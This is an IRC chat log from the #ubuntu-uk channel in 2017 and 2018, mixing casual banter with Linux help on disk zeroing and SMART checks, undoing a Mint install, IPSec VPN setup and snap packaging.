<daftykins> a lovely clean Windows install will do that just fine over a factory mess :>
<zmoylan-pi> you could get a rasp pi zero. install linux onto that and then ssh in via your n4 for all your linux needs... 8-)
<daftykins> all your very very basic needs
<zmoylan-pi> it'll run a full linux distro for variable levels of /run/...
<zmoylan-pi> you can even vnc if you want desktop experience...
<daftykins> a lovely insecure mess of a protocol :>
<zmoylan-pi> no proper hacker would touch vnc... it would make their ocd flare up... :-P
<daftykins> what's the protocol behind the default in desktop ubuntu these days?
<zmoylan-pi> the default?
<daftykins> yeah there's a built in remote desktop feature
<zmoylan-pi> rdp?
<daftykins> that's MS...
<zmoylan-pi> https://en.wikipedia.org/wiki/Remote_Desktop_Protocol#Non-Microsoft_implementations
<zmoylan-pi> when i set up my pi many moons ago i think that's what it defaulted to
<m0nkey_> xrdp, super handy
<zmoylan-pi> i kinda remembered as i used to have problems with rdp on windows and hoped on linux those wouldn't happen
<daftykins> worked fine for me for years :)
<daftykins> can't count on 100 peoples digits and toes how many folk come in trying to remote to Linux boxes...
<daftykins> then some fool tells 'em to run everything plain over VNC, oof
#ubuntu-uk 2017-02-23
<diddledan> daftykins: VNC
<diddledan> daftykins: it's run via a vino frontend IIRC
<diddledan> the app in the dash is "Desktop Sharing" which then sets gconf settings for vino and makes it start on login
<daftykins> o0
<m0nkey_> That was easy, it's downloading and installing Ubuntu on my old N4
<daftykins> now it'll be even more useless :>
<m0nkey_> lol
<m0nkey_> I just want to try it
<m0nkey_> It's easy enough to revert back
<daftykins> :D
<daftykins> as long as you work that all out before your travels you're good ;)
<m0nkey_> I've got about 6 months :)
<m0nkey_> It's in the Ubuntu boot loader and pushing the image to the device now
<daftykins> i know you're excited but this is all pretty basic to most folk that mess around with phones ;)
<m0nkey_> I rarely play with phones :)
<daftykins> are you bored of your VR toys yet?
<m0nkey_> Nope
<m0nkey_> It's still friggin awesome
<m0nkey_> Hmm, it seems to be rebooting and has the Ubuntu logo.
<m0nkey_> It's installed and just gone through the setup
<diddledan> disk is now being zeroes
<diddledan> zeroed
<diddledan> how long will it take I wonder
<diddledan> is anyone using zfs on ubuntu .. as in at all?
<zmoylan-pi> i'm in 2 other linux channels and i haven't seen it mentioned as been used by anyone
<m0nkey_> I use it, but not in Ubuntu.
<daftykins> diddledan: 3TB? 12+hrs
<diddledan> it's a slow disk, only supports 1.5Gbps bandwidth on the SATA bus, so I'm assuming the drive to be somewhat slower than that
<daftykins> lol
<daftykins> dd will be showing you the speed, you're using dd right?
<diddledan> yes. I haven't got any feedback tho
<daftykins> showing you if you run: watch -n 30 'kill -USR1 $PID_of_dd'
<daftykins> sudo on the kill too naturally
<diddledan> 135ish MB/s
<diddledan> it's done 105GB so far
<daftykins> mmm not too shabby, bus doesn't really matter for mechanical - you'll see the speed slowly drop as it gets to the inner tracks :)
<diddledan> that's in about 10 minutes
<m0nkey_> Everything seems to work on this Ubuntu touch
<m0nkey_> Calls, text, camera...
<m0nkey_> Going to have to experiment some more
<daftykins> i was talking about alternate ROMs affecting camera quality etc before
<m0nkey_> Lets face it, N4 quality wasn't that great to begin with :)
<daftykins> not in low light anyway
<daftykins> mine mostly sits on my desk unused these days, although i did use it whilst in the US last September
 * zmoylan-pi listens to wind outside...
<foobarry> just got soaked to the skin
<foobarry> one of those downpours , i had 10seconds to the nearest shop doorway, but that was enough to totally soak me
<foobarry> jeans are now on a radiator in the office :|
<brobostigon> morning boys and girls.
<davmor2> Morning all
<diplo> Morning all
<diplo> Anyone know of any reason to not change a UID of a user on a new install to 500? we use the uids within our software and one user needs to be 500, the rest it doesn't matter so much.. I can't find any issues so far on the interwebs but thought I'd ask here
<diplo> CentOS moved from 500 to 1000 as of Cent7 copying other distros
<popey> last place I worked we used to have a set of UIDs that we used for specific users.
<popey> So long as it's consistent on all the machines, it was fine
<davmor2> diplo: what popey said, as long as the naming/numbering is consistent and documented it should be fine
<diplo> Thanks guys, and documented hahaha :)
<diplo> I've found some serverfault/stackexchange things after referencing similar points
<davmor2> diplo: seriously if you don't document it you will forget do an install and spend hours trying to figure out why stuff isn't working if you modify things from the default
<SuperMatt> morning
<diplo> davmor2: I'm laughing as my company suck at documenting :) not me
<foobarry> i love documenting
<diplo> I document all I do, them not so much...... its taken me 4 hours to get why we need the user to be uid=500
<foobarry> asciinema and mkdocs make for great documentation
<diplo> I use sphinx, gone from nothing to 100's of things written now
<foobarry> in rST?
<foobarry> or md
<diplo> rst
<diplo> I think you and I discussed this last year when you were moving over :)
<diplo> I'd gone Sphinx because it was what readthedocs used and I liked the look of it.. nothing stopping me moving apart from effort :)
<foobarry> yesh
<foobarry> mkdocs allows easy workflow cos u can spin up an instance on your own desktop in seconds , based off another branch
<diplo> Ah right, I will investigate at some point but basically I write my docs type make html it publishes one locally and rsyncs to our other site the same dir and then svn add / ci data into subversion
<diplo> Works for me
<foobarry> sphinx has better themes support
<foobarry> and collapsible menus etc
<diplo> I do like the collapisble menus :)
<foobarry> jekyll is supposed to be good too
<foobarry> http://bit.ly/2lIF7fa is our current mkdocs site
<foobarry> managed via github
<ali1234> diplo: uid  less than 1000 means "system user" and wont show on the login screen etc by default
<diplo> I
<foobarry> am
<diplo> Sorry lost the old interwebs there
<diplo> We don't use a login screen anyway, this is our system user I guess so I'm happy with that, cheers though ali1234
<diddledan> windymuch?!
<SuperMatt> I've got jury service today, and I might not be able to make it thanks to a tree on the line
<diddledan> eep
<SuperMatt> Annoyingly, if I do make it there, on the bus, there might be other jurors that can't make it, so I would have braved the wind for nothing
<foobarry> is there a number yo can call?
<SuperMatt> Yeah, there is
<SuperMatt> I should find out at midday if I'm actually needed
<SuperMatt> They may say not to bother coming in then
<Laney> Everyone says it's extremely boring but I still want to be called for jury service :(
<diddledan> they sent me a notice that I'd been selected by the randomiser but when I replied they turned me down. apparently being a nutjob means they don't like to use you for a jury
<SuperMatt> Laney: it is boring when you're not sitting a case. I literally did nothing for my first two days
<Laney> SuperMatt: Yeah that bit, the waiting to get called
<Laney> or I heard you can get called up, faff around for ages and then get sent back out
<Laney> if they don't like you on that case for some reason
<SuperMatt> So what they do is pick 15 people at random to go to the court room. Then in the courtroom, they read out a list of jury exemptions, such as if you know person X, or worked at Y, then you shouldn't be on the jury. They then pick 12 people out of the 15 that said they're OK to be on the Jury. Then they may start immedately, or they may say that the prosecution/defence isn't ready yet, and may send you
<SuperMatt> off.
<diddledan> Lana Del Rey: Love https://www.youtube.com/watch?v=3-NTv0CdFCk <-- I like this!
<Seeker`> Laney: It's super boring. Being part of a case is marginally more interesting, but there's still a lot of waiting around. Sometimes you start at 10, go in for 20 minutse, get sent out for half an hour while they discuss a point of law, go back in for 10 minutes, get sent out because the judge wants a 20 minute break, go back for 40 minutes, then get sent home for the day because a witness didn't turn
<Seeker`> up.
<Seeker`> And I absolutely hated deliberations.
<Seeker`> SuperMatt: did you end up having to go in?
<SuperMatt> Yeah, I went in
<diddledan> daftykins: after zeroing the drive and running a long smart self-test, which has just this moment finished running, the log says the latest test passed
<diddledan> ref: http://paste.ubuntu.com/24054851/
<ali1234> what was wrong with it before?
<ali1234> theres no reallocated sectors
<diddledan> ali1234: test #15
<ali1234> weird
<ali1234> did you have a power failure?
<diddledan> nope
<ali1234> it's not a physical medium error because it would have to reallocate the sector, and it apparently hasn't
<ali1234> so it must have just got confused while writing, and put an invalid checksum or something
<ali1234> cosmic rays, i dunno
<diddledan> cosmic rays are funky. used to kill camera tubes back in the 60s/70s
<diddledan> they'll play havoc with ccd blocks, too
<ali1234> maybe you should try writing all 1s
<ali1234> at least to the problem block
<diddledan> is there a /dev/one? like /dev/zero :-p
<ali1234> http://stackoverflow.com/questions/10905062/how-do-i-get-an-equivalent-of-dev-one-in-linux
<diddledan> \377? o_O
<diddledan> how is \377 0xFF?
<ali1234> octal
<diddledan> ok, that's running
<diddledan> I'm blatting the whole disk to be sure
<ali1234> better safe than sorry
<diddledan> these are yummy: http://www.nissinsobanoodles.co.uk/caseoffer.html
<zmoylan-pi> can't you at least eat proper british noodles!! :-P
<diddledan> they're more decadent than potnoodles
<diddledan> I'm a posh-knob! :-D
<zmoylan-pi> boil a kettle on your nvidia graphics card and a few cases of those and you can survive the zombie apocalypse...
<diddledan> \o/
<zmoylan-pi> ...at least till the idea of eating just one more posh pot noodle makes you crave brains...
<diddledan> mmm, brains
 * diddledan chews on zmoylan-pi's scalp
 * zmoylan-pi is happy to have a moylan grade skull that has so far broken chairs broken over it and left a dent in crossbar of bike in one of my more amusing accidents...
<diddledan> what if I use a nokia?
<diddledan> I hereby dub the nokia with the title of brain opener
<zmoylan-pi> that would be the unbreakable object meating the unbreakable object... a 1000 philosophers would die in the attempt alone...
 * zmoylan-pi spots that the new samsung 8plus will have a 6.2" screen... is there a market for a phone aimed at professional basketball players?
<diddledan> I want a 13inch phone
<zmoylan-pi> at that size isn't it more a riot shield?
<diddledan> https://www.youtube.com/watch?v=27aVPqpnL7Y
<diddledan> wow, 25 second intro?!
<diddledan> skip that
<zmoylan-pi> well you could 3d print a case for a phone...
<zmoylan-pi> i have the dvd of the series... red fox to grey squirrel, red for to grey squirrel...
<zmoylan-pi> surgeons will have to start offering thumb extension surgery...
<zmoylan-pi> mind at 13" they could then split screen and have one camera displaying the view forward so that peoples view won't be obstructed by their phone... while using their apps in rest of the screen
#ubuntu-uk 2017-02-24
<diplo> Morning all
<SuperMatt> morning
<davmor2> Morning all
<brobostigon> morning boys and girls.
<ging_> i did a bad thing
<ging_> i installed linux mint
<ging_> then i installed ubuntu desktop to it
<ging_> and selected lightdm and the window manager
<ging_> and now i have unity, with a weird mix of mint
<ging> does anyone know of a good way to fully unmint it?
<davmor2> ging: why would you do that?
<ging> i started a new job
<ging> first day i was given a linux mint usb stick to setup my machine
<ging> i thought i would give it a go
<ging> but i had enough
<ging> i need to figure out how to unmint grub
<ging> the mint luks decrypt screen does not work properly
<ging> when you type in your password it does into some other terminal
<ging> in clear text
<ging> so i have to boot, then reboot so it falls back to a simple decrypt screen
<ging> which thanksfully does work
<ging> i am scared to just uninstall mint-common
<ging> my biggest problem is i did something to my x settings to make it controlled by nvidia
<ging> and i can't get to the unity screen settings
<ging> so i can't turn off the sticky menu thing
<ging> dconf write /org/compiz/profiles/unity/plugins/unityshell/launcher-capture-mouse false
<ging> :(
<ging> that does work though
<ging> but none of this has cured my origonal problem, which was clicking and dragging stuff makes applications die
<davmor2> ging: just install ubuntu then use the debs on the usb pendrive to install anything you need for work :)  A potential solution at least
<popey> ging: I'd be inclined to nuke and install ubuntu tbh
<awilkins> ging, Likewise. My advice would be back up your home folder (and maybe /etc) and nuke and restore. I keep my home folders on a separate partition just so I can do this at a moment's notice.
<awilkins> When I upgraded to xenial something completely bricked my OS, was back up and running again after a 20 minute install with all my files and settings intact because of this.
<ging> it seems to have worked suprisingly well
<ging> just not fixed any of my origonal issues
<ging> except the one that i didnt like mint
<popey> given that some things just don't work on mint that should, I'd nuke it
<diddledan> I've never liked mint - they frankenstein ubuntu repos with their own repo where their repo has _some_ stuff recompiled or differently versioned so anything from ubuntu which you expect to work with something you've installed from mint will fail - e.g. I had an issue where mint had separately compiled apache or php and apache-modules or php-modules failed to
<diddledan> work with it because they hadn't maintained ABI
<diddledan> I forget whether it was apache or php - or both
<diddledan> ooh, doctor strange is out
<diddledan> gotta love a bit of cumerbund
<diddledan> cumberbund?
<diddledan> how do you spell that?
<davmor2> diddledan: yeah cumberland is awesome chips and eggs
<diddledan> mm, sausage
<diddledan> sausage spiral no less!
<daftykins> diddledan: how's the SMART data look on that drive post zero?
<diddledan> daftykins: it says no errors now
<daftykins> smartctl output or nothing ;D
<diddledan> http://paste.ubuntu.com/24060254/
<daftykins> ooh no remaps or anything, not too bad... so based on its' power on hours you could use it as a kinda general storage you don't really care about sort of drive, or a testing one - but definitely nothing live
<diddledan> :-)
<daftykins> diddledan: warning, cat torture - https://i.imgur.com/yaG5abA.gifv
<diddledan> :-o
<diddledan> poor kitty :-(
<diddledan> moar gentoo security patches tonight
<daftykins> :D
<diddledan> mysql and php
<diddledan> \o/
<davmor2> daftykins: You know the is my cat planning to kill gag....in this case could we claim justifiable homicide
<daftykins> :>
<diddledan> I really should turn on my lights
<diddledan> sitting in the glow of monitors only is a bit haxx0rish
<diddledan> where's my hoodie?
 * diddledan wanders off to find the hoodie
<daftykins> yep hood up please
<daftykins> :D
<daftykins> diddledan: i caught this magic timing yesterday - http://i.imgur.com/TJMdRhw.jpg
<daftykins> tail to the face!
<diddledan> lol
<diddledan> floof
<daftykins> they've been watching the outside world, which right now they're not permitted to experience...
<diddledan> aww :-( are they going cabin feverish?
<daftykins> nah, huge house - i think it's more the kitten curiosity and "how can be do more things that the human staff will worry over us for doing?"
<daftykins> any of you guys have a really really tough time adjusting to some new specs, before? i've never found it this tough
<daftykins> i could see distant stuff like the TV from my sofa perfectly immediately, but i couldn't even read my laptop on my lap in front of me for a while o0
<diddledan> nope, but I have a fairly simple prescription
<daftykins> it's improved a bit now, but i almost have to look slightly off to the side to see irssi's text clearly, very offputting
<daftykins> ah, lucky, i'm on -10 in one eye now
<zmoylan-pi> i have had new specs drive me bonkers.  it's was like they set the focal point a different distance than i was used to...
<zmoylan-pi> had to move all my screens and keyboards to make space for printed documentation
<daftykins> :(
<zmoylan-pi> i put it down to merely been from a family with crap eyesight and probably time for bifocals
<daftykins> oof
<zmoylan-pi> i've carried a monocular for reading bus numbers since i was in early 20s. even with glasses i couldn't read them on some buses
<ali1234> zmoylan-pi: my mum had an eye test and they completely messed it up. got her glasses and she couldn't see anything
<ali1234> turns out they let a trainee do it, and then the person who was supposed to check it, didn't
<ali1234> she went to a different optician and showed them her current and previous prescription and they were like "there's no way that could be right"
<zmoylan-pi> i've been using the same optometrist for yonks.  a family run place rather than the usual faceless mob.  in my case it's far more likely that it's my eyes failing
<ali1234> it was boots that messed it up iirc
<ali1234> the worst thing though is it took her 6 months to do anything about it, because she thought it was just her eyes getting worse
<daftykins> O_O
<daftykins> every optician in the island seems to be at retirement age now which isn't very encouraging
<zmoylan-pi> you've reached the optician event horizon were no new opticans open and the only new ones come along when old ones retire or die
<daftykins> indeed!
<daftykins> love the way mine emailed out from an address they aren't checking anymore, too...
<zmoylan-pi> you just have to hack their gibson to find their real address... :-P
<daftykins> well if you put it like that...
<zmoylan-pi> and isn't the current best way to get their attention is to poke them on twitter?
<Azelphur> I'm happy, bought a refurbished UPS on eBay for Â£160, looks like it'll hold up all my crap (3 x 40" monitors and two PCs) for an hour :D
<daftykins> best to get safe shutdown configured!
<daftykins> i've been chasing a Dutch company for a delayed replacement battery for an old APC unit of late
<Azelphur> yea, gotta do that
<zmoylan-pi> probably waiting for the postmans hernia to heal after the crimbo rush... :-P
<daftykins> ;) more than likely a European country trying to work out how to cross the wet bit to get here
<zmoylan-pi> the dutch build a wall, drain the area behind it and repeat... simple
<diddledan> zmoylan-pi: and make the islanders pay for it
<daftykins> https://www.theregister.co.uk/2017/02/24/iphone_7_plus_burning_battery/
<daftykins> :D
<daftykins> zmoylan-pi: my you've been busy, first Nokia, now... https://www.theregister.co.uk/2017/02/24/revive_the_psion_5_series/
<zmoylan-pi> it's weird in 2008 nokia really really irked me... and my mates laughed when i went on and on about how many mistakes they were making.  within 12 months they had all switched from nokia to android... along with a sizeable chunk of the planet.  i didn't speak to all those people. honest guv
<zmoylan-pi> of course, today i took this pic in upmarket shopping centre on dublins most expensive shopping street... https://twitter.com/angryearthling/status/835246630710431745/photo/1
<daftykins> :>
<zmoylan-pi> they're usually only spotted in street were they're selling fish and veg from stalls on the cobbles
#ubuntu-uk 2017-02-25
<brobostigon> morning boys and girls.
<popey_> wat
<diddledan> popey: WATMAN!
<diddledan> I believe this is important to (re)share at this juncture: https://www.destroyallsoftware.com/talks/wat
<zmoylan-pi> it was always thus... i remember a game for zx spectrum that had a maths quiz... however it was written in basic so the spectrum helpfully marked all answers correct if you type the question in to the answer field as it interpreted the answer helpfully :-)
<diddledan> wat
<zmoylan-pi> exactly :-)
<zmoylan-pi> it was considered a helpful and useful tool in zx speccy basic to evaluate all strings as a number...
<diddledan> did y'all see this? "let's test webkit isn't vulnerable to SHA-1 hash collision but adding a test to our testsuite with two files with the same hash... oh, SVN is vulnerable": https://arstechnica.co.uk/security/2017/02/watershed-sha1-collision-just-broke-the-webkit-repository-others-may-follow/
<diddledan> s/but/by/
<zmoylan-pi> just ban all pdfs... :-P
<zmoylan-pi> must be weird for adobe... a huge spectaculor show stopping error on the internet... the test example has pdfs... it's not their fault... :-D
<penguin42> diddledan: Yeh the SVN one is fun
#ubuntu-uk 2017-02-26
<MooDoo> morning all
<SuperMat1> morning
<MooDoo> :)
<MooDoo> morning all
<brobostigon> morning boys and girls.
<MooDoo> hi all, just a quick question [which has probably been asked a load of times] is the ubuntu planet down?
<MooDoo> I'll rephrase that sorry, http://planet.ubuntulinux.org/ http://planet.ubuntu.com/ is ok
<diddledan> five years of pi: https://www.youtube.com/embed/wivyPH4AF1Q
<diddledan> popey: your tweet yesterday about computer show has got me hooked
<diddledan> https://twitter.com/Lethal_Zonda/status/835226793938411521
<diddledan> "are the rock and Dwayne Johnson twins?"
<zmoylan-pi> the nokia 3310 v2 will have a longer battery life... /me goes to check for breakthrough in cold fusion...
<diddledan> speaking of battery life: https://www.youtube.com/watch?v=zRCBepOHaYk
 * zmoylan-pi rembers the laptops we had at work back then.  battery life was awful measured in minutes but most of the hardware was ancient and 2nd hand as new stuff was ridiculously expenisve
<zmoylan-pi> xt 20mb hd and 720k floppy... epson... http://www.ebay.com/itm/Vtg-EPSON-Equity-LT-Q150A-PC-MD-DOS-Laptop-HD-not-working-/361911430161?hash=item54439a2c11:g:NUgAAOSwax5Yqj9a
<zmoylan-pi> a really decent keyboard especially compared to todays non travelly jobbies
<diddledan> the important bit is "not working"
<zmoylan-pi> even they did work it often felt it would be fast to write to floppy...
<diddledan> linus is on this episode: https://www.youtube.com/watch?v=N3s0_yf2mS4
<zmoylan-pi> i seem to remember it was advanced and didn't need to have it's hd head parked before shutdown
<diddledan> that's voodoo!
<diddledan> I still remember having to park my hard disk heads before poweroff
<zmoylan-pi> a few of my early hd based desktops were same way... but i'm trying to remember if any of the laptops i used had same requirement
<zmoylan-pi> of all the laptops back then, this was my favourite. 1) it had a slide out handle to make carrying easier 2) it had a 16bit isa slot for expansion 3) built in power supply so you didn't need to carry extra brick http://www.computinghistory.org.uk/det/31788/Amstrad-ALT-386SX-Laptop-computer/
<popey> diddledan: yaya
#ubuntu-uk 2018-02-19
<SuperMatt> morning all
<Nafallo> mornign
<Nafallo> s/gn/ng/
<brobostigon> morning boys and girls.
<zmoylan-pi> o/
<brobostigon> o/
#ubuntu-uk 2018-02-20
<brobostigon> morning boys and girls.
<foobarry> seen on my way to work this morning :D https://imgur.com/a/NQe2J
<zmoylan-pi> we need a matrix law were all console text is green for geeky reasons... :-)
<foobarry> any thinderbird users use an alternate search addon to replace b*ng?
<foobarry> Works with Thunderbird 11.0 - 31.*
<SuperMatt> I haven't used an email client in ages
<SuperMatt> Google Inbox does everything I need
<foobarry> web client slow if you have 10s of thousands of mails
<SuperMatt> I archive everything I don't need to work on
<SuperMatt> which means my inbox currently only has 2 emails in it
<SuperMatt> tell a lie, it's only 1
<foobarry> you're talking to someone with 169 tabs
<SuperMatt> I just don't understand that
<SuperMatt> it sounds to me like you're working on too many things at once
<foobarry> yep.
<foobarry> and i'm also a manager so need to switch focus constantly to support my team
<foobarry> i opened 40 tabs alone trying to get a newer tensorflow for ppc64le arch
<diddledan> I cringe hard every time I hear an american say "soldering" with no L like "soddering"
 * zmoylan-pi hands diddledan a donut to calm him down...
<penguin42> a jelly donut?
<zmoylan-pi> these ones are filled with custard...
<diddledan> in lethal weapon 3 the driver lady of the armored money van that gets hijacked first off says that murtagh "puts the jam in my jelly roll"!! what voodoo is that? it is jam or jelly?!
<zmoylan-pi> in usa it can be both...
<diddledan> but they moan when we call jam jam
<zmoylan-pi> is that jam uses whole pieces of fruit, while jelly uses the juice:
<penguin42> now you're getting technical
<zmoylan-pi> if i wanted to get technical about food i'd post a link to the computer error that made half of uk's kfc's shut due to lack of chicken... a fowl, no fowl error... :-)
<diddledan> how does a shop that sells only chicken run out of chicken?!
<zmoylan-pi> they hire new suppliers who promise to do the same job for less
<penguin42> DHL are now mentioning the company that does software
<zmoylan-pi> how hard can the software be, chicken in, chicken out...
<penguin42> yeh, even if they fell back to just loading trucks up with the basic supplies and sending them around each shop in the area
<zmoylan-pi> but then you'd need staff who knew the routes and locations of the shops...
<zmoylan-pi> but they cost more money than some schlub the dole office sent
<diddledan> "Weâve brought a new delivery partner on board, but theyâve had a couple of teething problems" HAH
<zmoylan-pi> great pic of a chicken mountain going nowhere fast in daily mail i think it was
<penguin42> zmoylan-pi: you just give them a list of all the locations
<penguin42> zmoylan-pi: I doubt DHLs problem is sending a truck to a location
<zmoylan-pi> and with the amount of locations they have to cover they won't make it in a day, hence half the shops don't get delieveries
<penguin42> nah that's easy; you just send n-trucks
<zmoylan-pi> but doing it for less means less trucks doing more...
<penguin42> yeh but you should be able to do it for the 'oh heck we've screwed up' situation
<zmoylan-pi> but software doesn't seem able to map a quicker route for supplying
<penguin42> zmoylan-pi: I can't believe that it can be a route problem, I can believe it can be a route+logistics of what supplies are needed where
<directhex> truck route mapping is big business
<zmoylan-pi> i'm sure their old supplier will loan them the trucks at a very reasonable fee...
<directhex> i think it's UPS where their routing software tries to reduce or eliminate left turns (in the US)
<directhex> since left turns mean crossing traffic, so take longer
<zmoylan-pi> yeah but many of their cities are grids whereas in uk and ireland using the 'optimal' route suggested by software will mean taking a left through mrs. murphys front room...
<directhex> mrs murphy had it coming
<zmoylan-pi> she also has connections and will see you going...
<diddledan> connections to bristol via salisbury
<diddledan> change here for exeter
<penguin42> the next big news story will be how many tonnes of out-of-date/rotting unshipped chicken they've had to dump
<zmoylan-pi> one word... kebab...
<Nafallo> ooooh. kebab â¥
<diddledan> why do people have such a problem writing "than" always spelling it as "then". e.g. "I'd rather do xyz then abc"
<zmoylan-pi> just add them to the same list of people who misused literally so much that they changed the meaning of literally to figuratively...
<Nafallo> ...add them literally or figuratively?
<KrimZon_2_> try to out-'than' them
<KrimZon_2_> 'then' rather
<diddledan> e.g. 2: "libv4l2: error set_fmt gave us a different result then try_fmt!"
 * diddledan swears at delivery man
<diddledan> ring door bell and run
<diddledan> how do I complain to amazon?
<penguin42> there's a button under the order somewhere isn't there?
<zmoylan-pi> diddledan: you order a do it yourself scorpion pit and a large new doormat? :-P
<SuperMatt> diddledan: at least you had someone ring the door bell
<diddledan> yeah, and then burger off
<diddledan> it's not as if I took ages answering
<diddledan> I was there within 15 seconds
<SuperMatt> Alas we've now created the problem of Amazon drivers. They just have too many deliveries to fulfil
<penguin42> yeh, they've got to do the chicken yet
<SuperMatt> pffft
<penguin42> hmm, the chicken run?
<Nafallo> penguin42: "do not run" button ;-)
<Nafallo> I love the idea
<diddledan> amazon need some kind of feedback system for their drivers to be chastised for ring-and-run failed deliveries
<Nafallo> perhaps it should be a tick box.
<penguin42> diddledan: It's almost rare for them to bother getting out of the van
<diddledan> reply from their support: "To serve you at my best in this situation,  I have personally contacted the carrier and have asked them to deliver the parcel as soon as possible on priority basis without any delay"
<SuperMatt> Amazon's support is normally top drawer
<diddledan> although there's a slight language barrier with the person who replied, I'll forgive them that though :-p "Rest assured that you will not contact us with these types of hassle"
<diddledan> that could be read as *YOU WILL NOT CONTACT US AGAIN*
<SuperMatt> heh
<diddledan> I get their meaning though
<SuperMatt> We've had issues where no one has bothered to ring. My wife is stay-at-home, so they can't get away with it
<SuperMatt> I've started adding delivery notes to everything that say if we're not in to deliver to any of the neighbours in the building
<diddledan> :-)
<NET||abuse> hi there folks, we have an IPSEC vpn to work, and i want to use it with gnome network manager, but i dont know where to set the correct fields for it's config
<NET||abuse> in /etc/vpnc/work.conf i have IPSec gateway vpn.work.address    IPSEC ID  blah   IPec secret xyz123 Xauth username me   Domain LONDON  Xauth interactive
<NET||abuse> but when i open the NM applet to config a cisco vpn, i don tsee the right field names for those options
<NET||abuse> i see gateway, username password, group name, group password
<NET||abuse> advanced has some other stuff, but still not the same fields at all
<NET||abuse> nothing "IPSec" related
<Nafallo> NET||abuse: network-manager-openconnect-gnome is the package you want. It's not just IPSEC, it's also Cisco AnyConnect.
<NET||abuse> Nafallo: i already have that installed.
<NET||abuse> trying to configure it, there's no fields for IPSec secred, or ID or anything
<NET||abuse> DOMAIN
<NET||abuse> user
<Nafallo> the gateway should provide that dialog when you use the right address, surely?
<Nafallo> at least it looks like so in my config.
<NET||abuse> Nafallo: that's an ssl vpn, this is an ipsec config i'm trying to get working? no?
 * penguin42 used to just run vpnc manually I think
<diddledan> I use network-manager-l2tp-gnome along with libreswan (it defaults to installing strongswan which was wonky for me). although that's for an ipsec+l2tp tunnel - if you're just using ipsec alone then no idea
<penguin42> fortunately we switched to openvpn at work so that solved itself
<diddledan> people usually opt for l2tp/ipsec because it works ootb on windows and macos
<diddledan> okie, exspurts, how do I get loonicks to output the console to a usb serial adapter?
<penguin42> hmm, I suspect console=ttyUSB0 doesn't work unless you build a kernel with the usb serial and usb adapters compiled in
<diddledan> yeah, I tried that but nada
<diddledan> I'm trying to get logs of a crash/hang related to intel gfx on my macbook using the ubuntu "mainline kernel" ppa
<daftykins> so which kernel upon which release?
<diddledan> I'm testing 4.16.0-rc1 right now
<diddledan> and buntu 17.10
<daftykins> eww
<daftykins> definitely reckon it's kernel level eh? not some other layer o' the stack
<penguin42> if the network falls off then it's probably kernel
<diddledan> fairly sure, yeah: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1748678
<lubotu3> Ubuntu bug 1748678 in linux (Ubuntu) "Intel graphics timeout, possibly caused wifi network to fail" [Medium,Confirmed]
<brobostigon> :12
<brobostigon> sorry
<diddledan> I was gonna say the exact thing
<penguin42> daftykins: How easily can you get it to fail?
<diddledan> not easily at all
<daftykins> easy, it's a mac - it does it by design ;D
<daftykins> didn't see talk of network prior
<diddledan> it's only a 13 incher so it's not "too big to fail"
<penguin42> steam rollers it....
<zmoylan-pi> maybe you're networking it wrong... :-P
<penguin42> diddledan: I wonder if efi pstore works/is safe on macs
<diddledan> lol @ email to full-disclosure - referring to the mozilla updater exe: "this 306kB "large" program is an UPX-compressed 7-zip self-extractor of whopping 394kB size, which contains a single "setup-stub.exe" of 406kB size"
<diddledan> pstore?
<penguin42> diddledan: It's a kernel feature that lets you store kernel oops/errors into teh EFI non-volatile memory
<diddledan> aah, no idea
<penguin42> diddledan: Some early uEFIs didn't take too well to it filling up though
#ubuntu-uk 2018-02-21
<Nafallo> morgnin
<Nafallo> morning
<SuperMatt> morning
<brobostigon> morning boys and girls.
<zmoylan-pi> o/
<brobostigon> o/
<SuperMatt> hey
<brobostigon> hi
<diddledan> oh dear, the register has picked up freebsd's antihugging: https://www.theregister.co.uk/2018/02/21/freebsd_code_of_conduct_controversy/
<zmoylan-pi> depending on where you from are hugging is ok or makes people very uncomfortable...
 * diddledan gets on his knees and hugs zmoylan-pi 
<diddledan> damned leprechauns
<zmoylan-pi> i remember been at a party in dublin that was almost 100% non irish, just me and a mate from dublin.  an italian woman introduced to us taking her leave goes to hug everyone...
<zmoylan-pi> both me and my mate turned her down.  she observed that in ireland no one hugs. i just said we do but only after quite a while. just different custom
<diddledan> I'm a hugger
<zmoylan-pi> is that a typo? :-P
<diddledan> fugger?
<zmoylan-pi> lugger!! duh!
<diddledan> mugger!
<diddledan> gimme your monies
<zmoylan-pi> jugger... *hic*
<diddledan> waaah: https://www.theregister.co.uk/2018/02/20/crunch_time_maplin_in_talks_to_sell_the_business/
<zmoylan-pi> i hope they survive
<zmoylan-pi> they might need to close a few stores though...
<zmoylan-pi> it's nice been able to walk in to shop and see odds and sods you see nowhere else...
<penguin42> like 512MB DIMMs
<penguin42> at ludicrous prices
<penguin42> diddledan: I can't quite figure out why they're talking to edinburgh wollen mill though
<diddledan> aye, me either
<penguin42> imho the best place to sell it to would be Argos; close all the stores and then just put their entire catalog into Argos's - they can succesfully manage holding a large amount of stock and making it appear at a store
<zmoylan-pi> save a bit on rent...
<penguin42> then we just need robotic component dispensors; it's got to be doable with reasonable accuracy
<ali1234> that's why components come on tape reels...
<ali1234> of course maplin don't sell any SMD stuff
<ali1234> and barely any components these days
<penguin42> the question is where would you put them
<SuperMatt> vlc3 chromecast support++++++++++++++
<SuperMatt> also snaps for allowing me to install vlc3+++++++++++++++++
<diddledan> something's a bit off with google play's categorisation of music:  https://usercontent.irccloud-cdn.com/file/o5KfMvco/
<SuperMatt> I think it got confused by all the candles
<penguin42> nice
<m0nkey_> What is this 'snap' thing all about. I keep seeing it, but it means nothing to me. I'm old school using apt on Debian, yum on RedHat and pkg on FreeBSD.
<ali1234> its just another application bundle system
<m0nkey_> OK, so just another package manager.
<ali1234> no, it isn't a package manager
<m0nkey_> OK then, like .deb and .rpm files?
<ali1234> no, it does not have dependencies
<SuperMatt> indeed
<ali1234> it has a platform and self contained application bundles
<ali1234> and "sandboxing but not really if you actually want to do anything useful"
<m0nkey_> So it's another standard?
<penguin42> m0nkey_: The theory is you should be able to install a snap anywhere without any other dependencies
<ali1234> not really. it isn't designed to have competing implementations
<ali1234> you can't install snaps anywhere
<ali1234> you can only install them on ubuntu
<penguin42> m0nkey_: So it's not like deb/rpm etc in the sense that it's not supposed to drive dependencies
<ali1234> specifically ubuntu core
<penguin42> ali1234: I thought the idea was that it was more general
<ali1234> no?
<m0nkey_> https://xkcd.com/927/ :)
<ali1234> if you install a snap on red hat it downloads ubuntu core
<ali1234> if you install a snap on ubuntu desktop it downloads ubuntu core!
<ali1234> so you can't install them on any hardware that can't run ubuntu
<ali1234> nor any kernel that can't run ubuntu
